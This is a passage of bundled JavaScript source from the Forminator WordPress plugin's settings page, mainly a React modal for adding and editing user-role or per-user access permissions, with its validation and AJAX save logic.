this.props.modal.modalProps.field.type;\n\n\t\t\tif ( fieldType === 'radio' || fieldType === 'checkbox' || fieldType === 'select' ) {\n\t\t\t\tmodalClass += ' multivalue-modal';\n\t\t\t} else {\n\t\t\t\tmodalClass += ' ' + this.props.modal.modalProps.field.type + '-modal';\n\t\t\t}\n\t\t}\n\n\t\tconst classes = jQuery( '.sui-color-accessible' ).length ? 'sui-wrap sui-color-accessible' : 'sui-wrap';\n\n\t\treturn (\n\t\t\t<div className={ classes }>\n\n\t\t\t\t<div id=\"forminator-modal\" className={ `sui-modal sui-active ${ modalClass } ${ modalType }` }>\n\n\t\t\t\t\t{/* <FocusTrap> */}\n\n\t\t\t\t\t<div\n\t\t\t\t\t\trole=\"dialog\"\n\t\t\t\t\t\tid={ `modal-${ this.props.modal.modalProps.id }` }\n\t\t\t\t\t\tclassName={ `${ overlayClass.join( ' ' ) }` }\n\t\t\t\t\t\taria-modal=\"true\"\n\t\t\t\t\t\taria-live=\"polite\"\n\t\t\t\t\t\t{ ...( this.props.modal.modalProps.labelledBy &&\n\t\t\t\t\t\t\t\t{ 'aria-labelledby': this.props.modal.modalProps.labelledBy }\n\t\t\t\t\t\t) }\n\t\t\t\t\t\t{ ...( this.props.modal.modalProps.describedBy &&\n\t\t\t\t\t\t\t\t{ 'aria-describedby': this.props.modal.modalProps.describedBy }\n\t\t\t\t\t\t) }\n\t\t\t\t\t\tref={ el => ( this.el = el ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t<div className=\"sui-box\" style={ { marginBottom: 0 } }>\n\t\t\t\t\t\t\t<SpecifiedModal { ...this.props } />\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\n\t\t\t\t\t{/* </FocusTrap> */}\n\n\t\t\t\t</div>\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\nconst DisplacedModal = displace( Modal );\n\nDisplacedModal.renderTo = function( input ) {\n\treturn displace( Modal, { renderTo: input } );\n};\n\nmodule.exports = DisplacedModal;\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/modal.js","import permissionsModal from './permissions';\nimport permissionDeleteModal from './permission-delete';\n\nconst modalTypes = {\n\tpermissionsModal,\n\tpermissionDeleteModal,\n};\n\nexport default modalTypes;\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/modals/index.js","import React, { Component } from 'react';\nimport axios from 'axios';\nimport qs from 'qs';\nimport { randNumber, isEmailWp, translate, isTrue } from '../../../utils';\n\nimport Notification from '../../../notifications';\nimport ModalHeader from '../../../form/components/modals/partials/header';\nimport ModalTitle from '../../../form/components/modals/partials/title';\nimport ModalFooter from '../../../form/components/modals/partials/footer';\nimport ModalClose from '../../../form/components/modals/partials/close';\nimport RadioTabs from '../../../settings/inputs/radio-tabs';\nimport Container from '../../../settings/containers/container';\nimport SuiSelect from '../../../settings/inputs/sui-select';\nimport SuiTags from '../../../settings/inputs/sui-tags';\nimport Checkbox from '../../../settings/inputs/checkbox';\n\nexport default class permissionsModal extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.saveBtn = React.createRef();\n\t\tthis.closeModal = this.props.modal.modalProps.closeModal.bind( this );\n\t\tthis.updateProperty = this.updateProperty.bind( this );\n\t\tthis.savePermission = this.savePermission.bind( this );\n\t\tthis.validator = this.validator.bind( this );\n\t\tthis.showNotification = this.showNotification.bind( this );\n\n\t\tthis.updated = false;\n\t\tthis.modalData = Object.assign( {}, this.props.modal.modalProps );\n\t\tthis.userRoles = this.getUserRoles( Object.assign( {}, forminatorData.userRoles ) );\n\t\tthis.defaultRole = Object.keys( this.userRoles )[0];\n\n\t\tconst defaultType = _.isEmpty( this.userRoles ) ? 'specific' : 'role';\n\n\t\t// For all additional access in the future,\n\t\t// make sure to add it also in the validator in render.\n\t\tthis.state = {\n\t\t\tpid:             this.modalData.pid || '',\n\t\t\tpermission_type: this.modalData.permission_type || defaultType,\n\t\t\tuser_role:       this.modalData.user_role || this.defaultRole,\n\t\t\texclude_users:   this.modalData.exclude_users || [],\n\t\t\tspecific_user:   this.modalData.specific_user || [],\n\t\t\tavatar:          this.modalData.avatar || '',\n\t\t\tuser_info:   this.modalData.user_info || [],\n\t\t\tmanage_forminator_modules:      this.modalData.manage_forminator_modules || false,\n\t\t\tmanage_forminator_submissions:  this.modalData.manage_forminator_submissions || false,\n\t\t\tmanage_forminator_addons:       this.modalData.manage_forminator_addons || false,\n\t\t\tmanage_forminator_integrations: this.modalData.manage_forminator_integrations || false,\n\t\t\tmanage_forminator_reports:      this.modalData.manage_forminator_reports || false,\n\t\t\tmanage_forminator_settings:     this.modalData.manage_forminator_settings || false,\n\t\t\tcurrent_user: this.modalData.currentUser || []\n\t\t}\n\t}\n\n\tcomponentDidMount() {\n\t\tthis.$saveBtn = jQuery( this.saveBtn.current );\n\t}\n\n\tcomponentDidUpdate( prevProps, prevState ) {\n\t\tif ( JSON.stringify( this.state ) !== JSON.stringify( prevState ) ) {\n\t\t\tthis.updated = true;\n\t\t} else {\n\t\t\tthis.updated = false;\n\t\t}\n\t}\n\n\tcomponentWillUnmount() {\n\t\tthis.$saveBtn.off;\n\t}\n\n\t// Remove user roles that were already set.\n\tgetUserRoles( userRoles ) {\n\t\tconst self = this;\n\n\t\t// Remove admin first.\n\t\tdelete userRoles['administrator'];\n\n\t\t_.forEach( userRoles, function( val, role ) {\n\t\t\tif (\n\t\t\t\t! _.isUndefined(\n\t\t\t\t\t_.find( self.props.permissions, function( p ) { return p.user_role === role; } )\n\t\t\t\t)\n\t\t\t) {\n\t\t\t\tif (\n\t\t\t\t\t( ! self.modalData.new && role !== self.modalData.user_role ) ||\n\t\t\t\t\tself.modalData.new\n\t\t\t\t) {\n\t\t\t\t\tdelete userRoles[ role ];\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\n\t\treturn userRoles;\n\t}\n\n\t// Make it possible to update state from child components\n\tupdateProperty( slug, value ) {\n\t\tthis.setState( { [ slug ]: value } );\n\t}\n\n\tgetUserTagsOptions( $property ) {\n\t\tconst searchData = ( params ) => {\n\t\t\tlet args = {\n\t\t\t\taction: 'forminator_builder_search_emails',\n\t\t\t\t_wpnonce: forminatorData.searchNonce,\n\t\t\t\texclude_admins: true,\n\t\t\t\tq: params.term,\n\t\t\t\tpermission: 'forminator-settings',\n\t\t\t\tpid: this.state.pid,\n\t\t\t\tproperty: $property,\n\t\t\t\tis_permission: true\n\t\t\t};\n\n\t\t\t// Search users from chosen role.\n\t\t\tif ( 'role' === this.state.permission_type ) {\n\t\t\t\targs.role = this.state.user_role;\n\t\t\t}\n\n\t\t\treturn args;\n\t\t};\n\n\t\treturn {\n\t\t\ttags: false,\n\t\t\tminimumInputLength: 1,\n\t\t\ttokenSeparators: [ ',', ' ' ],\n\t\t\tplaceholder: translate( 'Click to search a user…' ),\n\t\t\tlanguage: {\n\t\t\t\tsearching: function() {\n\t\t\t\t\treturn translate( 'Searching' );\n\t\t\t\t},\n\t\t\t\tnoResults: function() {\n\t\t\t\t\treturn translate( 'User not found' );\n\t\t\t\t},\n\t\t\t},\n\t\t\tajax: {\n\t\t\t\turl: forminatorData.ajaxUrl,\n\t\t\t\ttype: 'POST',\n\t\t\t\tdelay: 150,\n\t\t\t\tdata: function( params ) {\n\t\t\t\t\treturn searchData( params );\n\t\t\t\t},\n\t\t\t\tprocessResults: function( data ) {\n\t\t\t\t\treturn {\n\t\t\t\t\t\tresults: data.data,\n\t\t\t\t\t};\n\t\t\t\t},\n\t\t\t\tcache: true,\n\t\t\t},\n\t\t\ttemplateResult: function( result ) {\n\t\t\t\tif (\n\t\t\t\t\t! _.isUndefined( result.id ) &&\n\t\t\t\t\t! _.isUndefined( result.text ) &&\n\t\t\t\t\t! _.isUndefined( result.display_name )\n\t\t\t\t) {\n\t\t\t\t\treturn jQuery(\n\t\t\t\t\t\t'<span>' +\n\t\t\t\t\t\tresult.display_name +\n\t\t\t\t\t\t' ' +\n\t\t\t\t\t\t'(' +\n\t\t\t\t\t\tresult.text +\n\t\t\t\t\t\t')' +\n\t\t\t\t\t\t'</span>'\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\treturn result.text;\n\t\t\t},\n\t\t\tcreateTag: function( params ) {\n\t\t\t\tconst term = params.term.trim();\n\t\t\t\tif ( ! isEmailWp( term ) ) {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\tid: term,\n\t\t\t\t\ttext: term,\n\t\t\t\t};\n\t\t\t},\n\t\t};\n\t}\n\n\tshowNotification( type, msg ) {\n\t\tconst custom = new Notification( {\n\t\t\ttype: type,\n\t\t\ttext: 'error' === type ?\n\t\t\t\ttranslate( 'Something went wrong. Please try again.' ) :\n\t\t\t\tmsg,\n\t\t} );\n\n\t\tcustom.open();\n\n\t\tif ( 'error' === type ) {\n\t\t\tconsole.log( msg );\n\t\t}\n\n\t\tthis.closeModal();\n\t}\n\n\tsavePermission() {\n\t\t// If no updates were made, just close the modal.\n\t\tif ( ! isTrue( this.modalData.new ) && ! this.updated ) {\n\t\t\tthis.closeModal();\n\t\t\treturn;\n\t\t}\n\n\t\t// Apply onload class.\n\t\tthis.$saveBtn.addClass('sui-button-onload');\n\t\tthis.$saveBtn.prop( 'disabled', true );\n\n\t\tconst permission = Object.assign( {}, this.state );\n\t\tlet newState;\n\t\tlet permissionsData = {\n\t\t\taction: 'forminator_save_permissions',\n\t\t\t_wpnonce: forminatorData.permission_nonce,\n\t\t};\n\n\t\t// Delete unnecessary data.\n\t\tif ( 'role' === permission.permission_type ) {\n\t\t\tdelete permission.specific_user;\n\t\t} else {\n\t\t\tdelete permission.user_role;\n\t\t\tdelete permission.exclude_users;\n\t\t}\n\n\t\t// We have a new permission, insert new one.\n\t\tif ( this.modalData.new ) {\n\t\t\tpermissionsData.mode = 'new';\n\n\t\t\t// Add permission ID.\n\t\t\tpermission.pid = 'pid-' + randNumber() + '-' + randNumber();\n\n\t\t\tnewState = [\n\t\t\t\t...this.props.permissions,\n\t\t\t\tpermission,\n\t\t\t];\n\n\t\t// Replace edited permission.\n\t\t} else {\n\t\t\tpermissionsData.mode = 'edit';\n\t\t\tpermissionsData.pid = permission.pid;\n\n\t\t\tnewState = this.props.permissions;\n\t\t\tconst currentPermission = _.findIndex( newState, function( p ) {\n\t\t\t\treturn p.pid === permission.pid;\n\t\t\t} );\n\n\t\t\tnewState.splice(\n\t\t\t\tcurrentPermission,\n\t\t\t\t1,\n\t\t\t\tpermission\n\t\t\t);\n\t\t}\n\n\t\tpermissionsData.permissions = JSON.stringify( newState );\n\n\t\taxios.post( forminatorData.ajaxUrl,\n\t\t\tqs.stringify( permissionsData )\n\t\t)\n\t\t\t.then( ( data ) => {\n\t\t\t\tlet notifType, notifMessage;\n\n\t\t\t\tif ( data.data.success ) {\n\t\t\t\t\tthis.props.actions.permissionActions.updatePermissions( data.data.data );\n\n\t\t\t\t\tnotifType = 'success';\n\t\t\t\t\tnotifMessage = this.modalData.new ?\n\t\t\t\t\t\ttranslate( 'New permission added successfully!' ) :\n\t\t\t\t\t\ttranslate( 'Permission updated successfully!' );\n\t\t\t\t} else {\n\t\t\t\t\tnotifType = 'error';\n\t\t\t\t\tnotifMessage = data.data;\n\t\t\t\t}\n\n\t\t\t\tthis.showNotification( notifType, notifMessage );\n\t\t\t} )\n\t\t\t.catch( ( err ) => {\n\t\t\t\tthis.showNotification( 'error', err );\n\t\t\t} )\n\t\t\t.then( () => {\n\t\t\t\t// Close modal\n\t\t\t\tthis.closeModal();\n\t\t\t} );\n\n\t}\n\n\t// Validate modal.\n\tvalidator() {\n\t\tconst state = this.state;\n\t\tlet isValid = false,\n\t\t\tvalidationError = [],\n\t\t\tisTypeValid = false,\n\t\t\tisAccessValid = false\n\t\t\t;\n\n\t\t// Check if role or user is selected.\n\t\tif (\n\t\t\t'specific' === state.permission_type &&\n\t\t\t_.isEmpty( state.specific_user )\n\t\t) {\n\n\t\t\tisTypeValid = false;\n\t\t\tvalidationError.push( translate( 'no user selected' ) );\n\n\t\t} else if (\n\t\t\t'role' === state.permission_type &&\n\t\t\t_.isEmpty( state.user_role )\n\t\t) {\n\n\t\t\tisTypeValid = false;\n\t\t\tvalidationError.push( translate( 'no role selected' ) );\n\n\t\t} else {\n\t\t\tisTypeValid = true;\n\t\t}\n\n\t\t// Check if all access are unchecked.\n\t\tif (\n\t\t\t(\n\t\t\t\t! isTrue( state.manage_forminator_modules ) &&\n\t\t\t\t! isTrue( state.manage_forminator_submissions ) &&\n\t\t\t\t! isTrue( state.manage_forminator_addons ) &&\n\t\t\t\t! isTrue( state.manage_forminator_integrations ) &&\n\t\t\t\t! isTrue( state.manage_forminator_reports ) &&\n\t\t\t\t! isTrue( state.manage_forminator_settings )\n\t\t\t)\n\t\t) {\n\t\t\tisAccessValid = false;\n\t\t\tvalidationError.push( translate( 'no permissions checked' ) );\n\t\t} else {\n\t\t\tisAccessValid = true;\n\t\t}\n\n\t\tif ( isTypeValid && isAccessValid ) {\n\t\t\tisValid = true;\n\n\t\t\tif ( ! _.isUndefined( this.$saveBtn ) ) {\n\t\t\t\tthis.$saveBtn.parent( '.btn-save-wrap' ).removeClass( 'sui-tooltip' );\n\t\t\t\tthis.$saveBtn.prop( 'disabled', false );\n\t\t\t}\n\t\t} else {\n\t\t\tisValid = false;\n\t\t\tvalidationError = validationError.join( ', ' );\n\n\t\t\tif ( ! _.isUndefined( this.$saveBtn ) ) {\n\t\t\t\tthis.$saveBtn.parent( '.btn-save-wrap' ).addClass( 'sui-tooltip' );\n\t\t\t\tthis.$saveBtn.prop( 'disabled', true );\n\t\t\t}\n\t\t}\n\n\t\treturn {\n\t\t\tisValid: isValid,\n\t\t\tvalidationError: validationError,\n\t\t};\n\t}\n\n\trender() {\n\t\tlet titleTag = '',\n\t\t\teditNotice = '',\n\t\t\tsaveBtn = translate( 'Add Permissions' );\n\n\t\tconst isNew = isTrue( this.modalData.new );\n\t\tconst modalTitle = translate( isNew ? 'Add Permissions' : 'Edit Permissions' );\n\t\tconst permissionType = ! _.isUndefined( this.modalData.permission_type ) ?\n\t\t\tthis.modalData.permission_type :\n\t\t\t'role';\n\n\t\t// Set the text depending on permissionType.\n\t\tif ( ! isNew ) {\n\t\t\tsaveBtn = translate( 'Update Permissions' );\n\n\t\t\tif ( 'role' === permissionType ) {\n\t\t\t\ttitleTag = translate( 'User Role' );\n\t\t\t\teditNotice = translate(\n\t\t\t\t\t'You are editing permissions for the {{b}}%(role)s{{/b}} user role.',\n\t\t\t\t\t{\n\t\t\t\t\t\targs: {\n\t\t\t\t\t\t\trole: this.userRoles[ this.modalData.user_role ].name,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tcomponents: {\n\t\t\t\t\t\t\tb: <b/>,\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tconst userIds = this.state.specific_user;\n\t\t\t\tconst numUsers = this.state.specific_user.length;\n\t\t\t\tconst userName = ! _.isUndefined( this.state.user_info[ userIds[0] ] ) ? this.state.user_info[ userIds[0] ].name : this.state.current_user.name;\n\t\t\t\tconst userEmail = ! _.isUndefined( this.state.user_info[ userIds[0] ] ) ? this.state.user_info[ userIds[0] ].email : this.state.current_user.email;\n\n\t\t\t\ttitleTag = translate( 'Specific User' );\n\t\t\t\teditNotice = translate(\n\t\t\t\t\t'You are editing permissions for {{b}}%(userName)s{{/b}}',\n\t\t\t\t\t{\n\t\t\t\t\t\targs: {\n\t\t\t\t\t\t\tuserName: userName,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tcomponents: {\n\t\t\t\t\t\t\tb: <b/>,\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t);\n\n\t\t\t\t// End of statement depends on the number of users.\n\t\t\t\tif ( numUsers > 1 ) {\n\t\t\t\t\teditNotice = editNotice.concat(\n\t\t\t\t\t\t' (' + userEmail + ') + ' +\n\t\t\t\t\t\t( numUsers - 1 )\n\t\t\t\t\t);\n\n\t\t\t\t\tif ( numUsers > 2 ) {\n\t\t\t\t\t\teditNotice = editNotice.concat( translate( ' others.' ) );\n\t\t\t\t\t} else {\n\t\t\t\t\t\teditNotice = editNotice.concat( translate( ' other.' ) );\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\teditNotice = editNotice.concat( ' (' + userEmail + ').' );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn (\n\t\t\t<React.Fragment>\n\n\t\t\t\t<ModalHeader\n\t\t\t\t\tcloseType=\"icon\"\n\t\t\t\t\tcloseModal={ this.closeModal }\n\t\t\t\t>\n\n\t\t\t\t\t<ModalTitle\n\t\t\t\t\t\tid=\"permissions-modal-title\"\n\t\t\t\t\t\tlabel={ modalTitle }\n\t\t\t\t\t\ttag={ titleTag }\n\t\t\t\t\t/>\n\n\t\t\t\t</ModalHeader>\n\n\t\t\t\t<div className=\"sui-box-body\">\n\n\t\t\t\t\t{ isNew &&\n\t\t\t\t\t<div className=\"sui-box-settings-row\">\n\t\t\t\t\t\t<div className=\"sui-box-settings-col-12\">\n\t\t\t\t\t\t\t<span className=\"sui-settings-label sui-dark\">{ translate( 'User Role/Users' ) }</span>\n\t\t\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t'Choose which user role or individual user(s) should have access ' +\n\t\t\t\t\t\t\t\t\t'to the Forminator features selected in the Permissions section below.'\n\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t<RadioTabs\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\tproperty=\"permission_type\"\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t{ ! _.isEmpty( this.userRoles ) &&\n\t\t\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'User Role' ) }\n\t\t\t\t\t\t\t\t\tvalue=\"role\"\n\t\t\t\t\t\t\t\t\tboxClass=\"sui-tab-boxed\"\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<SuiSelect\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\t\tproperty=\"user_role\"\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Choose user role' ) }\n\t\t\t\t\t\t\t\t\t\tdefaultValue={ this.defaultRole }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t{ _.map( this.userRoles, ( role, id ) => (\n\t\t\t\t\t\t\t\t\t\t\t<option value={ id } key={ id }>\n\t\t\t\t\t\t\t\t\t\t\t\t{ role.name }\n\t\t\t\t\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t\t\t\t) ) }\n\t\t\t\t\t\t\t\t\t</SuiSelect>\n\t\t\t\t\t\t\t\t\t<SuiTags\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\t\tproperty=\"exclude_users\"\n\t\t\t\t\t\t\t\t\t\tstyle={{ marginBottom:'10px' }}\n\t\t\t\t\t\t\t\t\t\toptions={ this.getUserTagsOptions() }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Exclude users' ) }\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t\t'Use this option to exclude specific ' +\n\t\t\t\t\t\t\t\t\t\t\t'users with the selected role from accessing Forminator.'\n\t\t\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t</Container>\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t<Container\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Specific User' ) }\n\t\t\t\t\t\t\t\t\tvalue=\"specific\"\n\t\t\t\t\t\t\t\t\tboxClass=\"sui-tab-boxed\"\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<SuiTags\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\t\tproperty=\"specific_user\"\n\t\t\t\t\t\t\t\t\t\tstyle={{ marginBottom:'10px' }}\n\t\t\t\t\t\t\t\t\t\toptions={ this.getUserTagsOptions( 'specific_user' ) }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Choose users' ) }\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t\t\t</RadioTabs>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t}\n\n\t\t\t\t\t{ ! isNew &&\n\t\t\t\t\t<React.Fragment>\n\t\t\t\t\t\t<div\n\t\t\t\t\t\t\trole=\"alert\"\n\t\t\t\t\t\t\tclassName=\"sui-notice sui-active\"\n\t\t\t\t\t\t\tstyle={ { display: 'block' } }\n\t\t\t\t\t\t\taria-live=\"assertive\"\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<div className=\"sui-notice-content\">\n\t\t\t\t\t\t\t\t<div className=\"sui-notice-message\">\n\t\t\t\t\t\t\t\t\t<span\n\t\t\t\t\t\t\t\t\t\tclassName=\"sui-notice-icon sui-icon-info\"\n\t\t\t\t\t\t\t\t\t\taria-hidden=\"true\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t<p>{ editNotice }</p>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t{ 'role' === permissionType &&\n\t\t\t\t\t\t<React.Fragment>\n\t\t\t\t\t\t\t<span className=\"sui-settings-label sui-dark\">{ translate( 'Exclude users' ) }</span>\n\t\t\t\t\t\t\t<span className=\"sui-description\" style={{ marginBottom:'10px' }}>\n\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t'Use this option to exclude specific ' +\n\t\t\t\t\t\t\t\t\t'users with the selected role from accessing Forminator.'\n\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t<SuiTags\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\tproperty=\"exclude_users\"\n\t\t\t\t\t\t\t\toptions={ this.getUserTagsOptions() }\n\t\t\t\t\t\t\t\t// label={ translate( 'Exclude users' ) }\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t{ 'specific' === permissionType &&\n\t\t\t\t\t\t<React.Fragment>\n\t\t\t\t\t\t\t<span className=\"sui-settings-label sui-dark\">{ translate( 'Choose users' ) }</span>\n\t\t\t\t\t\t\t<SuiTags\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\tproperty=\"specific_user\"\n\t\t\t\t\t\t\t\tstyle={{ marginBottom:'10px' }}\n\t\t\t\t\t\t\t\toptions={ this.getUserTagsOptions( 'specific_user' ) }\n\t\t\t\t\t\t\t\t// label={ translate( 'Choose users' ) }\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t}\n\t\t\t\t\t\t<hr/>\n\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t}\n\n\t\t\t\t\t<div className=\"sui-box-settings-row\">\n\t\t\t\t\t\t<div className=\"sui-box-settings-col\">\n\t\t\t\t\t\t\t<span className=\"sui-settings-label sui-dark\">{ translate( 'Permissions' ) }</span>\n\t\t\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t'Choose what permissions the selected user role or users will have.'\n\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t<div className=\"sui-form-field permissions-checkboxes\">\n\t\t\t\t\t\t\t\t<Checkbox\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\tproperty=\"manage_forminator_modules\"\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Modules' ) }\n\t\t\t\t\t\t\t\t\titemClass=\"sui-checkbox-stacked sui-checkbox-sm\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t<span className=\"sui-description permission-description\">\n\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t'Create, edit, and delete modules (Forms, Polls, Quizzes).'\n\t\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t\t<Checkbox\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\tproperty=\"manage_forminator_submissions\"\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Submissions' ) }\n\t\t\t\t\t\t\t\t\titemClass=\"sui-checkbox-stacked sui-checkbox-sm\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t<span className=\"sui-description permission-description\">\n\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t'Access, export, and delete submissions.'\n\t\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t\t<Checkbox\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\tproperty=\"manage_forminator_addons\"\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Add-ons' ) }\n\t\t\t\t\t\t\t\t\titemClass=\"sui-checkbox-stacked sui-checkbox-sm\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t<span className=\"sui-description permission-description\">\n\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t'View, install/uninstall, and configure Add-ons.'\n\t\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t\t<Checkbox\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\tproperty=\"manage_forminator_integrations\"\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Integrations' ) }\n\t\t\t\t\t\t\t\t\titemClass=\"sui-checkbox-stacked sui-checkbox-sm\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t<span className=\"sui-description permission-description\">\n\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t'Access and configure global integrations.'\n\t\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t\t<Checkbox\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\tproperty=\"manage_forminator_reports\"\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Reports' ) }\n\t\t\t\t\t\t\t\t\titemClass=\"sui-checkbox-stacked sui-checkbox-sm\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t<span className=\"sui-description permission-description\">\n\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t'View reports and schedule email notifications for modules.'\n\t\t\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t\t<Checkbox\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tsettings={ this.state }\n\t\t\t\t\t\t\t\t\tupdateProperty={ this.updateProperty }\n\t\t\t\t\t\t\t\t\tproperty=\"manage_forminator_settings\"\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Settings' ) }\n\t\t\t\t\t\t\t\t\titemClass=\"sui-checkbox-stacked sui-checkbox-sm\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t<span className=\"sui-description permission-description\">\n\t\t\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t\t\t'Access and configure plugin settings.'\n\t\t\t\t\t\t\t\t\t) 